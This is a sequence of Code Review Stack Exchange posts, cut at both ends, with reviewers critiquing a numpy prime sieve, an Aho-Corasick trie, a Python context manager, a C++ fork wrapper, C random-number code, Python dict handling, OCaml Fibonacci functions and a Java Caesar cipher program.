} |
python, performance, python-3.x, primes
def main():
R = (10 ** 7)
L = int(math.sqrt(R))
SegmentedSieve(R, L, generateprimes(R))
if __name__ == '__main__':
cProfile.run('main()')
Answer: Performance
numpy.append
The first thing I noticed is the numpy.append method with a cumulative time of 1.131s. For each of the 3162 times it is called a new array is created and the content of the existing array is copied. This can be improved by using a (builtin) list instead of a numpy array. Appending to a list is less expensive because lists are specifically designed to be appended to.
In order to still return a numpy array, the list of arrays Finalprime has to be converted to an array using the numpy.hstack method.
This change reduced the total runtime from 4.5s to 2.8s.
Python for loop
Next I used the line based profile "Scalene" to find out which code lines use up a lot of time.
This lead me to the following loop:
for i in range(s,L,p): # starts at the position found and skips every p distance. The upperbound is the
#amount of elements in each segment.
Segment[0, i] = 0
All this loop does setting every pth element to zero. The same can be achieved using the arguments of the range function as a numpy slice instead:
Segment[0, s:L:p] = 0
This improvement further reduced the runtime from 2.8s to 1.0s
General
There are a number things that are not performance related but are a bit odd:
the continue keyword at the end of the main loop of SegmentedSieve is executed every time at the end of the loop and is therefor useless.
Your code does not follow the standard python formatting conventions:
functions and variables should be named using lower_snake_case instead of PascalCase
after a comma there should usually be a space
before and after a top level definition there should be two blank lines | {
"domain": "codereview.stackexchange",
"id": 44162,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
python, performance, python-3.x, primes
Some of the type annotations are incorrect. generateprimes does not return a list but a numpy array. The Primes argument of the SegmentedSieve method is not a tuple but a numpy array. The same is true for the return value of said method.
You are using 2D arrays for Segment and Primelist but the first dimension of these arrays has size 1 and it is never really used. This can be simplified to 1D arrays.
Changed Code
This is the code with the performance and general suggestions applied to it:
import numpy as np
from numpy.typing import NDArray
import math
import cProfile
def generateprimes(n: int = 0) -> NDArray[np.intp]:
"""
simple sieve of Eratosthenes to find primes that make up
all factors of the upper bound.
"""
upper_bound = int(math.sqrt(n))
primes = np.full(upper_bound, 1, dtype=np.int8)
primes[0], primes[1] = 0, 0
for i in range(2, int(math.sqrt(math.sqrt(n))) + 1):
if primes[i] == 1:
for x in range(i**2, upper_bound, i):
primes[x] = 0
indices = np.where(primes == 1)[0]
return indices
def segmented_sieve(r: int, l: int, primes: NDArray[np.intp]) -> NDArray[np.intp]:
finalprime = []
limit = r // l # Total amount of segments
finalprime.append(primes)
for x in range(1, limit):
low = l * x
high = low + l
# creates a segment that is the size of the differences between L and R
segment = np.full(high - low, 1, dtype=np.int8)
# Only taking the primes that are less than the square root of the upperbound.
# i.e the limit of the current segment
new_primes = np.extract(primes <= int(math.sqrt(high)), primes)
for p in new_primes:
# Finds the position of the first occurrence of the prime in the
# newest lowest bound or Low
s = (math.ceil(low / p) * p) % low | {
"domain": "codereview.stackexchange",
"id": 44162,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
python, performance, python-3.x, primes
# starts at the position found and skips every p distance. The upperbound is the
# amount of elements in each segment.
segment[s:l:p] = 0
indices = np.where(segment == 1)[0] + low
finalprime.append(indices)
return np.hstack(finalprime)
def main():
r = 10**7
l = int(math.sqrt(r))
segmented_sieve(r, l, generateprimes(r))
if __name__ == "__main__":
cProfile.run("main()") | {
"domain": "codereview.stackexchange",
"id": 44162,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
javascript, programming-challenge
Title: Implementation of aho corasick algorithm - slow suffix construction
Question: EDIT: Dequeu was the correct guess
EDIT: I did the BFS method for the suffix link/output link construction
I'm doing a hackerrank challenge and I came up with this implementation of the aho corasick algorithm. Everything works fine but my suffix construction is too slow and it's taking ages to build with 100 000 inputs (the tree construction is quite fast tho 1s~ for 100 000 inputs but 3min for the suffix construction).
What should I do to improve my createLink function ?
I put a simple test at the end to show how to use it, the getHealth function launch the algorithm and take a string in first parameter and two numbers that is there to only take a part of the inputs.
Let's say you have:
inputs = ['a', 'b', 'c', 'd']
health = [1, 2, 3, 4]
if you do getHealth with this:
getHealth('aadbancjlav', 0, 2); // inputs.slice(0, 2 + 1) (+1 because it's exclusive)
The algorithm will skip the letter 'd' and his corresponding health.
const ROOT_TREE = 0;
const ALPHABET_SIZE = 26;
class TreeNode {
next;
isLeaf = false;
character = '$';
parentNode = -1;
outputLink = -1;
health = [];
link = -1;
constructor(p = -1, character = '$') {
this.parentNode = p;
this.character = character;
this.next = new Array(ALPHABET_SIZE).fill(-1);
}
}
class AhoCorasick {
trie = [new TreeNode()];
addString(word, health, index) {
let treeIndex = 0;
for (let index = 0; index < word.length; index += 1) {
const character = word[index];
const char = character.charCodeAt(0) - 'a'.charCodeAt(0);
if (this.trie[treeIndex].next[char] === -1) {
this.trie[treeIndex].next[char] = this.trie.length;
this.trie.push(new TreeNode(treeIndex, character));
}
treeIndex = this.trie[treeIndex].next[char];
}
this.trie[treeIndex].health.push({ health, index });
this.trie[treeIndex].isLeaf = true;
} | {
"domain": "codereview.stackexchange",
"id": 44163,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "javascript, programming-challenge",
"url": null
} |
javascript, programming-challenge
createLink() { // <===== THIS IS THE SLOW ONE, any advice on this will be appreciate
const queue = [];
const treeIndex = 0;
queue.push(treeIndex);
while (queue.length > 0) {
const trieToCheck = this.trie[queue.shift()];
const nodeToCheck = trieToCheck.next.filter((i) => i !== -1);
nodeToCheck.forEach((nextIndex) => {
let childNode = trieToCheck;
queue.push(nextIndex);
if (childNode.link !== -1) {
childNode = this.trie[childNode.link];
}
/*const index = childNode.next.find( <== old way of finding index
(next) =>
next !== -1 &&
next !== nextIndex &&
this.trie[next].character === this.trie[nextIndex].character,
);*/
let index; // <=== EDIT: new index calculation
index =
childNode.next[
this.trie[nextIndex].character.charCodeAt(0) - 'a'.charCodeAt(0)
];
if (index === nextIndex) {
index = null;
}
if (!index) {
this.trie[nextIndex].link = treeIndex;
} else {
this.trie[nextIndex].link = index;
if (this.trie[index].isLeaf) {
this.trie[nextIndex].outputLink = index;
} else if (this.trie[index].outputLink !== -1) {
this.trie[nextIndex].outputLink = this.trie[index].outputLink;
}
}
});
}
}
constructor(words, health) {
console.time('words');
words.forEach((word, index) => this.addString(word, health[index], index));
console.timeEnd('words');
console.time('link');
this.createLink();
console.timeEnd('link');
}
processOutputLink(outputLink, health, first, last) {
if (outputLink === -1) {
return health;
}
const newHealth = this.trie[outputLink].health
.filter((e) => e.index >= first && e.index <= last)
.reduce((acc, e) => acc + e.health, 0); | {
"domain": "codereview.stackexchange",
"id": 44163,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "javascript, programming-challenge",
"url": null
} |
javascript, programming-challenge
return this.processOutputLink(
this.trie[outputLink].outputLink,
health + newHealth,
);
}
processLink(link, character) {
if (link !== -1 && this.trie[link].next[character] === -1) {
return this.processLink(this.trie[link].link, character);
}
if (link !== -1 && this.trie[link].next[character] !== -1) {
return this.trie[link].next[character];
}
return link === -1 ? ROOT_TREE : link;
}
processNode(index, health, first, last) {
const node = this.trie[index];
let newHealth = health;
if (node.isLeaf) {
const healthCalc = node.health
.filter((e) => e.index >= first && e.index <= last)
.reduce((acc, e) => acc + e.health, 0);
newHealth += healthCalc;
}
newHealth = this.processOutputLink(node.outputLink, newHealth, first, last); // FINITO
return newHealth;
}
getHealth(word, first, last) {
let health = 0;
let index = 0;
for (const c of word) {
const character = c.charCodeAt(0) - 97;
const parentNode = this.trie[index];
const nextIndex = this.trie[index].next[character];
if (nextIndex !== -1) {
health = this.processNode(nextIndex, health, first, last);
index = nextIndex;
} else {
const indexSuffix = this.processLink(parentNode.link, character);
const indexNextNode =
indexSuffix !== ROOT_TREE
? indexSuffix
: this.trie[indexSuffix].next[character];
if (indexNextNode !== -1) {
health = this.processNode(indexNextNode, health, first, last);
index = indexNextNode;
} else {
index = ROOT_TREE;
}
}
}
return health;
}
}
const algo = new AhoCorasick(['a', 'aa', 'b', 'bca', 'd'], [5, 10, 15, 20, 25, 30]);
algo.getHealth("aabcaccdabaa", 0, 5);
Answer: queue.shift()
runs in linear time. You need a deque data structure in order to remove the first element efficiently in constant time. | {
"domain": "codereview.stackexchange",
"id": 44163,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "javascript, programming-challenge",
"url": null
} |
python, python-3.x, context-manager
Title: More Pythonic Context Manager Wrapper
Question: I wanted to ask this here because what I wanted to originally do felt like a really Pythonic method. I want to be able to use the syntax:
d = {'apple':{'cranberry':{'banana':{'chocolate':[1,2,3,4,5,6]}}},'b':2}
with d['apple']['cranberry']['banana']['chocolate'] as item:
for i in item:
print(i)
item.append('k')
but found that Python doesn't allow for using lists, dicts, etc. as context managers.
So I implemented my own:
def context_wrap(target):
class ContextWrap:
def __init__(self, tgt):
self._tgt = tgt
def __enter__(self):
return self._tgt
def __exit__(self, type, value, traceback):
pass
return ContextWrap(target)
if __name__ == '__main__':
with context_wrap({'a':1}) as item:
print(item['a'])
with context_wrap([1,2,3,4,5]) as item:
print(item[1])
with context_wrap(3) as item:
print (item)
In the above code, you can take any random object and wrap it inside an object that acts as a context manager controlling the underlying object. This means that inside any with clause, you can simply use the object with its alias. I feel like it looks a lot cleaner and clearer than something like:
alias = d['apple']['cranberry']['banana']['chocolate']
for i in alias:
print(i)
alias.append('k')
I wanted to know if there was a more "Pythonic" way to do it. So the improvement that I'm looking for is in terms of better reliance on the standard Python library and/or in terms of my syntax.
Answer: I think what you are doing is crazy, but yes, you can use Python’s library functions to clean it up.
from contextlib import contextmanager
@contextmanager
def context_wrap(target):
yield target
Again, this is busy work.
alias = thing
is clearer, shorter and faster than
with context_wrap(thing) as alias: | {
"domain": "codereview.stackexchange",
"id": 44164,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, context-manager",
"url": null
} |
c++, c++11, linux, child-process, posix
Title: RAII POSIX process created by fork
Question: By analogy with std::thread, I've written an RAII POSIX process:
class posix_process
{
public:
explicit posix_process(std::function<void()> proc_main)
: _pid(fork())
{
if (_pid == -1)
throw std::system_error(errno, std::generic_category(), "fork");
if (_pid == 0)
proc_main();
}
pid_t pid() const
{
return _pid;
}
int wait(int options = 0) const
{
int wstatus = 0;
const pid_t r = waitpid(_pid, &wstatus, options);
if (r == -1)
throw std::system_error(errno, std::generic_category(), "waitpid");
return wstatus;
}
private:
// Disable copy and move
posix_process(const posix_process&) = delete;
posix_process(posix_process&&) = delete;
posix_process& operator=(posix_process) = delete;
pid_t _pid;
};
My main hesitation is that the child process ends up in a potentially weird state where the entire thing runs inside a constructor that was called in the parent process.
Is this a good idea?
What are the implications of making the class swappable by swapping _pid (and therefore, with minimal extra effort, moveable)?
Answer: Consider what happens after proc_main() finishes
My main hesitation is that the child process ends up in a potentially weird state where the entire thing runs inside a constructor that was called in the parent process.
The problem is not so much calling proc_main() from a constructor, the problem is what happens after proc_main() finishes: the child process will continue to run, seemingly as if it was the parent, except _pid is now 0. I think the expectation is that only proc_main() runs and then the process exits. Also consider that proc_main() might throw an exception. So it might be better to write:
if (_pid == 0) {
try {
proc_main();
} catch(...) {
std::abort();
}
std::exit(EXIT_SUCCESS);
} | {
"domain": "codereview.stackexchange",
"id": 44165,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++, c++11, linux, child-process, posix",
"url": null
} |
c++, c++11, linux, child-process, posix
Make it look even more like std::thread
If you want something analogous to std::thread, go further and make the interface look like std::thread as much as possible. This makes it easier for someone who already knows std::thread to use your class. For one, instead of taking a std::function<void()> as a parameter, copy what std::thread does:
template <class Function, class... Args>
explicit posix_process(Function&& f, Args&&... args): _pid(fork())
{
if (_pid == -1)
throw std::system_error(errno, std::generic_category(), "fork");
if (_pid == 0)
{
try {
std::invoke(std::forward<Function>(f), std::forward<Args>(args)...);
} catch(...) {
std::abort();
}
std::exit(EXIT_SUCCESS);
}
}
And rename pid() to id() and/or native_handle().
Make it moveable
What are the implications of making the class swappable by swapping _pid (and therefore, with minimal extra effort, moveable)?
That would be very nice. This will allow std::vector<posix_process> and many other things that require the class to be at least moveable.
Add a destructor
You might want to add a destructor that does something sensible rather than just letting a potential child process continue to run. std::thread will throw an exception if the thread is joinable and hasn't been joined yet, C++20's std::jthread will automatically join in its destructor, and that is usually preferred.
On the other hand, the semantics for a thread and a process are different, and it's much less dangerous to let a child process run without ever waiting for it, so if you have a good reason for it, I would probably accept not having a destructor. | {
"domain": "codereview.stackexchange",
"id": 44165,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++, c++11, linux, child-process, posix",
"url": null
} |
c, random, mathematics
Title: Return a random integer with a probability progression
Question: A function random_int_with_probability that returns a random number within a range, where the chance to get a bigger value decreases linearly towards the maxima.
In the example below, the chance decreases by 10%, meaning to you will have guaranteed 100% chance to at least get 1, then have 90% to get 2, 3 at 80% and so on.
Of course to get an exact number the probability has to be calculated using the rectangular distribution formula (correct me if I am wrong).
As an optimization I would be happy to actually use a mathematical expression instead of the loop.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int random_int (int minValue, int maxValue)
{
return minValue + (int)rand() % (maxValue - minValue);
}
int random_bool_with_probability (double percentage)
{
return ((rand() % 100) <= percentage);
}
int random_int_with_probability (int minValue, int maxValue, int progressionIncrement)
{
int pi = 100;
double mi = 0;
for(mi = minValue; mi <= maxValue; mi++)
{
int p = random_bool_with_probability(pi);
if(p == 0)
break;
pi -= progressionIncrement;
}
return random_int(minValue, mi);
}
/* Test */
int main (void)
{
int counter = 0;
srand(time(NULL));
while(counter < INT_MAX-1)
{
int stat = random_int_with_probability(1, 10, 10);
counter++;
if(stat >= 9)
break;
}
printf("You pulled out the maximum value of 9 at attempt %i\n", counter);
return 0;
}
Answer: Code doesn't match description
The explanation corresponds to a uniform distribution (except that the last value may have lower likelihood (if pi reaches or crosses zero) or higher likelihood (if pi never reaches zero)). But that's not the distribution we get:
#include <stdio.h>
#include <string.h>
int main (void)
{
const size_t max = 10;
size_t counter[max]; | {
"domain": "codereview.stackexchange",
"id": 44166,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c, random, mathematics",
"url": null
} |
c, random, mathematics
srand((unsigned)time(NULL));
memset(counter, 0, sizeof counter);
for (int i = 0; i < 1000000; ++i) {
++counter[random_int_with_probability(1, (int)max, 100/(int)max)];
}
for (size_t i = 0; i < max; ++i) {
printf("%2zu: %zu\n", i, counter[i]);
}
}
0: 0
1: 355444
2: 264735
3: 178902
4: 107455
5: 56304
6: 25059
7: 9051
8: 2500
9: 493
If you can clearly express the probability density function that's required, then we should be able to generate a single random number and algorithmically transform that into the output range, with no loops or extra randomness.
Pedantry around random numbers
The rand() function generates numbers uniformly distributed in [0, RAND_MAX]. If we simply reduce to a range of size n using %, we'll get a slightly skewed distribution unless n is a factor of RAND_MAX + 1. Normal practice is to generate a new random number if the first attempt yields a number less than RAND_MAX % n + 1, so that we still have uniform distribution. This effect becomes more significant as n gets larger.
Compiler warnings
Compiling with gcc -Wall -Wextra -Wwrite-strings -Wno-parentheses -Wpedantic -Warray-bounds -Wconversion -Wstrict-prototypes -fanalyzer reveals that
mi should probably be an integer
We need to include <limits.h> | {
"domain": "codereview.stackexchange",
"id": 44166,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c, random, mathematics",
"url": null
} |
python, python-3.x
Title: Looping through asset types from Dictionary
Question: I have some code that needs to branch depending on if a value from a database is absent. Essentially our database contains some key value pairs from a dictionary. If the key is absent from a set, we should append zero as the value for that key. Otherwise, we should append the value from the database.
values = []
known_asset_types = {'A', 'B', 'C'}
total_external_assets = assets_service.get_total_external_assets().items()
visible_asset_types = set()
# total_external_assets is a dictionary
for db_asset_type, asset_count in total_external_assets:
if db_asset_type in known_asset_types:
visible_asset_types.add(asset_type)
values.append({"name": db_asset_type, "value": asset_count})
for asset in known_asset_types.difference(visible_asset_types):
values.append({"name": asset, "value": 0})
Is there a simpler or more pythonic way to accomplish what I'm doing? I got a comment saying I can loop through the known_asset_types and check if the key is in total_external_assets and if True use that value else zero, but having a nested loop feels...worse to me.
Answer: First of all, your code doesn't work. When you loop over total_external_assets you don't get a key-value pair tuple but instead just the keys. You need to access .items() to get both.
I also don't follow what you mean by a nested loop. The suggestion you got from a colleague was to loop over known_asset_types instead of looping over total_external_assets. This seems reasonable if you only care about the known_asset_types, which it appears that you do; you'll have to process way fewer items, and to then get the value of a key in known_asset_types from total_external_assets is then only a hashmap/dictionary lookup, which is O(1) - i.e. very fast.
This
if db_asset_type in known_asset_types:
visible_asset_types.add(asset_type)
values.append({"name": db_asset_type, "value": asset_count}) | {
"domain": "codereview.stackexchange",
"id": 44167,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x",
"url": null
} |
python, python-3.x
is also a bit unnecessary; you're first looking for the item, and if it exists you retrieve it. That's two lookups when you only needed a single one. You can do
try:
asset = known_asset_types[db_asset_type]
except KeyError: # doesn't exist
pass
else: # does exist
visible_asset_types.add(db_asset_type)
values.append({"name": db_asset_type, "value": asset})
Finally, you should know that you can replace
try:
value = dict[key]
except KeyError:
value = default
with
value = dict.get(key, default) | {
"domain": "codereview.stackexchange",
"id": 44167,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x",
"url": null
} |
algorithm, functional-programming, comparative-review, fibonacci-sequence, ocaml
Title: Functional Fibonacci in OCaml
Question: I'm very new to OCaml, and as an exercise I decided to implement the nth Fibonacci algorithm (return a specific Fibonacci number, given an index) in different ways, using what I've learned so far.
I also want to start practicing test-driven development in OCaml, so I also included some basic tests using assertions.
Here is the code:
(** Get the nth fibonacci number using lambda expression and if-then-else. *)
let rec fibo_lamb = fun n ->
if n < 3 then 1 else fibo_lamb (n - 1) + fibo_lamb (n - 2)
(** Get the nth fibonacci number using if-then-else. *)
let rec fibo_if n =
if n < 3
then 1
else fibo_if (n - 1) + fibo_if (n - 2)
(** Get the nth fibonacci number using pattern matching long form. *)
let rec fibo_mtch n = match n with
| 1 | 2 -> 1
| n -> fibo_mtch (n - 1) + fibo_mtch (n - 2)
(** Get the nth fibonacci number using pattern matching short form. *)
let rec fibo_ptrn = function
| 1 | 2 -> 1
| n -> fibo_ptrn (n - 1) + fibo_ptrn (n - 2)
(** Get the nth fibonacci number using tail recursion. *)
let fibo_tail n =
let rec loop n last now =
if n < 3
then now
else loop (n - 1) (now) (last + now)
in loop n 1 1
(** Get the nth fibonacci number using lists and tail recursion. *)
let fibo_list n =
let rec loop n xs =
if n < 3
then List.nth xs 1
else loop (n - 1) [List.nth xs 1; List.hd xs + List.nth xs 1]
in loop n [1; 1]
(** Unit test a fibo function. *)
let test_fibo_fun f id =
assert (f 1 == 1);
assert (f 2 == 1);
assert (f 3 == 2);
assert (f 4 == 3);
assert (f 5 == 5);
assert (f 6 == 8);
id ^ " passed all tests!" |> print_endline | {
"domain": "codereview.stackexchange",
"id": 44168,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "algorithm, functional-programming, comparative-review, fibonacci-sequence, ocaml",
"url": null
} |
algorithm, functional-programming, comparative-review, fibonacci-sequence, ocaml
(** Perform all unit tests for fibo functions. *)
let run_fibo_tests () =
test_fibo_fun fibo_lamb "fibo_lamb";
test_fibo_fun fibo_if "fibo_if";
test_fibo_fun fibo_mtch "fibo_mtch";
test_fibo_fun fibo_ptrn "fibo_ptrn";
test_fibo_fun fibo_tail "fibo_tail";
test_fibo_fun fibo_list "fibo_list";
"all fibo unit tests passed!" |> print_endline
let () = run_fibo_tests ()
Answer: Clearly as I'm sure you're aware, all of your non-tail-recursive solutions have pretty horrendous performance characteristics. But I want to look at one of your tail-recursive solutions.
(** Get the nth fibonacci number using lists and tail recursion. *)
let fibo_list n =
let rec loop n xs =
if n < 3
then List.nth xs 1
else loop (n - 1) [List.nth xs 1; List.hd xs + List.nth xs 1]
in loop n [1; 1]
A list is a data structure that by its very nature has any number of elements. The lists you use always have two elements. This is a much better place to use a tuple.
let fibo_tuple n =
let rec loop n (a, b) =
if n < 3 then b
else loop (n - 1) (b, a + b)
in loop n (1, 1)
If you're going to use a list, you can still clean it up with pattern-matching, rather than calling List.hd and List.nth.
let fibo_list n =
let rec loop n [a; b] =
if n < 3 then b
else loop (n - 1) [b; a + b]
in loop n [1; 1]
You will be warned about non-exhaustive pattern-matching because again, lists are the wrong data structure to use here, but your code never creates a list with anything other than two elements. | {
"domain": "codereview.stackexchange",
"id": 44168,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "algorithm, functional-programming, comparative-review, fibonacci-sequence, ocaml",
"url": null
} |
java, beginner
Title: An encryption/decryption program with two different algorithms, Caesar Cipher and a Unicode Cipher
Question: This project was part of the JetBrains Academy Java course. The project was about implementing an Encryption program that uses either a simple Caesar Cipher (or) a Unicode Cipher depending on the arguments being passed to the program. The data to be Encrypted/Decrypted is just one line.
The different arguments being passed are:
"-mode": enc = Encryption, dec = Decryption.
"-alg": shift = caesar, unicode = unicode.
"-in": Name of from to read input from.
"-data": Data to be Encrypted/Decrypted.
"-out": File name to which we should write Encrypted/Decrypted message.
"-key": key to Encrypt/Decrypt data.
Additional things to note:
If both "-data" and "-in" arguments are given, consider the "-data" argument.
If no "-out" argument is present, simply print out the result.
If no "-alg" argument is given, consider it to be shift.
Code:
Main.java
package encryptdecrypt;
public class Main {
public static void main(String[] args) {
String in = "", data = "", mode = "", alg = "shift", out = "";
int key = 0;
for (int i = 0; i < args.length; i++) {
switch (args[i]) {
case "-alg":
alg = args[i + 1];
break;
case "-key":
key = Integer.parseInt(args[i + 1]);
break;
case "-data":
data = args[i + 1];
break;
case "-in":
in = args[i + 1];
break;
case "-mode":
mode = args[i + 1];
break;
case "-out":
out = args[i + 1];
break;
}
} | {
"domain": "codereview.stackexchange",
"id": 44169,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "java, beginner",
"url": null
} |
java, beginner
if (alg.equals("unicode")) {
EncryptDecrypt unicode = new UnicodeCipher();
unicode.doDeEncryption(mode, data, in, out, key);
} else {
EncryptDecrypt shift = new ShiftCipher();
shift.doDeEncryption(mode, data, in, out, key);
}
}
}
EncryptDecrypt.java
package encryptdecrypt;
import java.io.*;
public abstract class EncryptDecrypt {
protected StringBuilder plainText = new StringBuilder();
protected StringBuilder cipherText = new StringBuilder();
public void doDeEncryption (String mode, String data, String in, String out, int key) {
readFile(mode, data, in);
if (mode.equals("enc")) {
encryptPlainText(key);
} else {
decryptCipherText(key);
}
writeFile(mode, out);
}
public void readFile (String mode, String data, String in) {
String temp = "";
if (data.equals("")) {
try {
BufferedReader reader = new BufferedReader(new FileReader(in));
temp = reader.readLine();
reader.close();
} catch (IOException e) {
e.printStackTrace();
}
} else {
temp = data;
}
if (mode.equals("enc")) {
plainText = new StringBuilder(temp);
} else {
cipherText = new StringBuilder(temp);
}
}
public void writeFile (String mode, String out) {
String text = "";
if (mode.equals("enc")) {
text = cipherText.toString();
} else {
text = plainText.toString();
}
if (out.equals("")) {
System.out.println(text);
return;
}
try {
BufferedWriter writer = new BufferedWriter(new FileWriter(out));
writer.write(text);
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
} | {
"domain": "codereview.stackexchange",
"id": 44169,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "java, beginner",
"url": null
} |
java, beginner
public abstract void encryptPlainText(int key);
public abstract void decryptCipherText(int key);
}
ShiftCipher.java
package encryptdecrypt;
public class ShiftCipher extends EncryptDecrypt {
private final int ROLLBACK = 26;
private boolean isValid (char c) {
return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
}
@Override
public void encryptPlainText(int key) {
for (int i = 0; i < plainText.length(); i++) {
if (isValid(plainText.charAt(i))) {
int temp = (plainText.charAt(i) - 'a' + key) % ROLLBACK;
temp += 'a';
cipherText.append((char)temp);
} else {
cipherText.append(plainText.charAt(i));
}
}
}
@Override
public void decryptCipherText(int key) {
for (int i = 0; i < cipherText.length(); i++) {
if (isValid(cipherText.charAt(i))) {
int temp = (cipherText.charAt(i) - 'a' - key + ROLLBACK) % ROLLBACK;
temp += 'a';
plainText.append((char)temp);
} else {
plainText.append(cipherText.charAt(i));
}
}
}
}
UnicodeCipher:
package encryptdecrypt;
public class UnicodeCipher extends EncryptDecrypt {
@Override
public void encryptPlainText(int key) {
for (int i = 0; i < plainText.length(); i++) {
int encryptedChar = (plainText.charAt(i) + key);
cipherText.append((char)encryptedChar);
}
}
@Override
public void decryptCipherText(int key) {
for (int i = 0; i < cipherText.length(); i++) {
int decryptedChar = (cipherText.charAt(i) - key);
plainText.append((char)decryptedChar);
}
}
} | {
"domain": "codereview.stackexchange",
"id": 44169,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "java, beginner",
"url": null
} |
java, beginner
The Unicode cipher is just adding the key to the codepoint of the character. The shift/Caesar Cipher must only encrypt the English letters.
Is my OOP structure good? Is there a better way to approach this using a design pattern?
Answer: Your code is very clearly written and formatted and it's easy to read. You have learned a few anti-patterns that I think you should try to unlearn.
Declaring variables in one line is not something that is usually done in common Java coding styles. It makes it harder to find the declarations.
Always initialising variables to a default special value defeats useful compiler warnings. If you leave them uninitialized, the compiler will warns you when you try to access an accidentally uninitialized field.
Using a special value as to mark "uninitialized" fields robs you from a useful use case: if a user wants to use the application as a part of a script, they cannot just use it to encrypt any string privided by some other program, they have to check if the value is empty first. Java has a universal value for uninitialized fields: null.
The field names are unnecessarily short. A field containing a file name should be named as such. So instead write your field declarations like this:
String inputFileName = null;
String outputFileName = null;
String inputData = null;
When you have a distinct set of input values, use enumerations to represent them in code instead of string constants:
private enum Mode {
ENCRYPT,
DECRYPT
}
And then...
Mode mode; | {
"domain": "codereview.stackexchange",
"id": 44169,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "java, beginner",
"url": null
} |
java, beginner
And then...
Mode mode;
Command line parsin is tedious and boring. There are libraries for it, like Apache Commons-CLI. You are also dividing the command line parsing responsibility between the Main and the EncryptDecrypt classes by passing all the parameters parsed from the command line to EncryptDecrypt as such and making that class handle the error checking. You should try to follow the single responsibility principle and make the Main class be fully responsible for the command line and leave just the encryption to EncryptDecrypt. This will require rethinking of what the encryption algorithms need as input.
If you remove the responsibilities that are not strictly related to the encryption, you'll see that the encryption algorith only needs a single character and the encryption key as input.
public interface SubstitutionCipher {
char encrypt(char ch);
}
The next step is figuring out how to pass file and command line data as input to the same cipher without forcing it to handle file IO. As the cipher works on text, one way would be to make the cipher operate on a Reader and convert the command line parameters to either FileReader or StringReader and FileWriter or StringWriter depending on input.
Then, to connect the Main class and the SubstitutionCipher you need a third class that reads a character from the reader, passes it to the cipher and writes the result to the writer.
Catching and logging exceptions in an application like below is not a good idea. The exception you catch here prevents the application from working, so you should end the application with an error message. So let the exception propagate to Main class, catch it, write an error to System.err and exit with an error code. This is the rare case where System.exit(int) should be used.
} catch (IOException e) {
e.printStackTrace();
} | {
"domain": "codereview.stackexchange",
"id": 44169,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "java, beginner",
"url": null
} |
java, beginner
You have documented the command line parameters like "-mode" to have two choices but the code actually has one strict value and everything else defaults to the other. This is not a good idea as it causes invalid parameters like "-mode encode" to be interpreted as if the application was called with parameters "-mode dec". | {
"domain": "codereview.stackexchange",
"id": 44169,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "java, beginner",
"url": null
} |
c++, inheritance
